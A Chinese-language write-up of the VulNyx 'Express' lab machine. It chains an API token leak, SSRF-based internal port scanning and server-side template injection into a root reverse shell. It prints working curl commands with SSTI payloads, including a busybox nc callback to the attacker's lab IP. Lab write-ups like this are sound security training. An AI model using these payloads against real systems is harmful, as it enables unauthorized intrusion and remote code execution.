这是我第一次玩VulNyx的靶机,这个靶机还是很有意思的,涉及到了GET/POST的变化、SSRF、SSTI,解题思路很有意思,所以记录下来。靶机的下载地址为https://vulnyx.com/file/Express.php。
扫描端口,显示22和80。
└─$ nmap -sV -sC -Pn -p- -oN port.log 192.168.56.134
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:88:F1:F0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
打开80端口,发现只有apache的默认页面,扫描目录也没有任何发现。经网上搜索,发现要把域名设置为express.nyx
,再次扫描80端口。
└─$ gobuster dir -u "http://express.nyx/" -t 20 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .html,.php,.txt -b 401,403,404,500 -o 80.log
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 16358]
/css (Status: 301) [Size: 308] [--> http://express.nyx/css/]
/js (Status: 301) [Size: 307] [--> http://express.nyx/js/]
/javascript (Status: 301) [Size: 315] [--> http://express.nyx/javascript/
网站没有传统的php文件,那只能从页面本身想办法。使用浏览器打开,进入开发工具进行观察,发现调用了两个js文件。
api.js是研究的重点,里面有4个函数调用,其中有一个getUserWithKey()
,里面出现了敏感词。
function getUsersWithKey() {
fetch(`/api/users?key=${secretKey}`)
.then(response => response.json())
.then(data => {
console.log('User list (with key):', data);
})
.catch(error => {
console.error('Error fetching the user list:', error);
});
}
尝试调用/api/users,报错。
└─$ curl http://express.nyx/api/users?key=someone
{
"message": "Unauthorized,wrong key!",
"result": "error"
}
到这里,理论上可以爆破secretKey,但实际没法操作,因为网站并没有给出secretKey的样式。经过提示,发现当GET方法卡住时,可以换一个POST方法,看看有什么不一样的结果。
└─$ curl -X POST http://express.nyx/api/users?key=someone
[
{
"id": 1,
"roles": [
"editor"
],
"token": "0653-0493-3031-8241",
"username": "Xerosec"
},
...
{
"id": 18,
"roles": [
"admin"
],
"token": "4493-3179-0912-0597",
"username": "JESSS"
},
网站居然返回了一个用户列表。其中,只有一个用户的角色是admin。看来要以这个用户为突破点。这时,需要用到api.js里的另一个函数checkUrlAvailability
。
function checkUrlAvailability() {
const data = {
id: 1,
url: 'http://example.com',
token: '1234-1234-1234'
};
fetch('/api/admin/availability', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => response.json())
.then(data => {
console.log('URL status:', data);
})
.catch(error => {
console.error('Error checking the URL availability:', error);
});
}
可以看出来,调用这个方法,需要以POST方法,并传入3个参数。在本机建立http服务,并让靶机尝试访问本机,果然成功了,说明服务器存在SSRF。
└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 18, \"url\": \"http://192.168.56.101\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
"id": 18,
"response_data": "<!DOCTYPE HTML>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Directory listing for /</title>\n</head>\n<body>\n<h1>Directory listing for /</h1>\n<hr>\n<ul>\n<li><a href=\"80.log\">80.log</a></li>\n<li><a href=\"port.log\">port.log</a></li>\n</ul>\n<hr>\n</body>\n</html>\n",
"result": "success",
"url_status": "active"
}
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
└─$ sudo python -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.56.134 - - [25/Oct/2024 19:26:23] "GET / HTTP/1.1" 200 -
这时,需要用到一个很巧妙的思路,利用SSRF来扫描内部端口,发现靶机内部开着5000和9000端口。
└─$ seq 1 10000 > ports.txt
└─$ wfuzz -w ports.txt -u http://express.nyx/api/admin/availability -X POST -H "Content-Type: application/json" -d '{"id": 123, "url": "http://127.0.0.1:FUZZ", "token": "4493-3179-0912-0597"}' --hw 33
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://express.nyx/api/admin/availability
Total requests: 10000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000022: 200 6 L 13 W 177 Ch "22"
000000080: 200 6 L 929 W 11241 Ch "80"
000005000: 200 6 L 36 W 302 Ch "5000"
000009000: 200 6 L 24 W 281 Ch "9000"
再次利用刚才的SSRF,尝试访问5000端口,会报错,尝试访问9000端口,会展示很有意思的信息。(在curl参数里加入\"是因为后面要用到3层的引号嵌套,且POST参数必须为双引号)
└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 18, \"url\": \"http://127.0.0.1:9000\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
"id": 18,
"response_data": "\n <form method=\"get\" action=\"/username\">\n <input type=\"text\" name=\"name\" placeholder=\"Enter your name\">\n <input type=\"submit\" value=\"Greet\">\n </form>\n ",
"result": "success",
"url_status": "active"
}
从服务器返回的信息看,可以继续访问/username
,并设置name
参数。
└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 18, \"url\": \"http://127.0.0.1:9000/username?name=JESSS\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
"id": 18,
"response_data": "Hello, JESSS!",
"result": "success",
"url_status": "active"
}
输入的用户名JESSS显示在了返回的JSON数据中,这时要用到SSTI,看name参数的地方存不存在SSTI漏洞。这里使用经典的方法。
└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 18, \"url\": \"http://127.0.0.1:9000/username?name={{ 7*7 }}\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
"id": 18,
"response_data": "Hello, 49!",
"result": "success",
"url_status": "active"
}
可以看到,当name参数为{{ 7*7 }}
时,返回值为49,说明存在SSTI。尝试执行一下系统命令id。关于SSTI执行系统命令,有多种模板,可以多尝试,找到可用的那个。
└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 18, \"url\": \"http://127.0.0.1:9000/username?name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
"id": 18,
"response_data": "Hello, uid=0(root) gid=0(root) groups=0(root)\n!",
"result": "success",
"url_status": "active"
}
命令执行成功,且用户是root。下面就是构建反弹shell的字符串,本机监听,并得到root的shell。
└─$ pwnstr="{{ self.__init__.__globals__.__builtins__.__import__('os').popen('busybox nc 192.168.56.101 1234 -e bash').read() }}"
└─$ curl -X POST -H "Content-Type: application/json" -d "{\"id\": 123, \"url\": \"http://127.0.0.1:9000/username?name=$pwnstr\", \"token\": \"4493-3179-0912-0597\"}" http://express.nyx/api/admin/availability
{
"error_message": "HTTPConnectionPool(host='127.0.0.1', port=9000): Read timed out. (read timeout=5)",
"id": 123,
"result": "error",
"url_status": "unreachable"
}
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.134] 60136
id
uid=0(root) gid=0(root) groups=0(root)
至此,全部完成!